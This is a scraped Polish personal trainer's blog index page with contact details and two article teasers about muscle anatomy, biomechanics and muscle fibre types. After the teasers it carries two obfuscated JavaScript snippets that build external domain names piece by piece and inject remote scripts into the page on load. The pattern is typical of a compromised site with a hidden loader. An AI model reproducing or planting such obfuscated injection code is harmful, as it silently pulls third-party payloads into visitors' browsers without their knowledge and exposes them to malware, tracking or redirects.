kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 24 sierpnia, 2024

Kategorie:

planowanie planu treningowego na podstawie znajomości Anatomii i biomechaniki

Anatomia i biomechanika: Jak przełożyć teorię na skuteczny plan treningowy?

24 sierpnia, 2024

Czy zdarzyło Ci się kiedyś wertować artykuły o budowie mięśni, typach włókien i ich architekturze, czując, że posiadasz solidną wiedzę,

Czytaj więcej >

Włókna mięśniowe podczas treningu

Włókna mięśniowe bez tajemnic: Jak zrozumieć swoje mięśnie i trenować skuteczniej?

24 sierpnia, 2024

Twoje mięśnie to skomplikowane maszyny, a ich podstawowym elementem są włókna mięśniowe. To one odpowiadają za siłę, wytrzymałość i wygląd

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();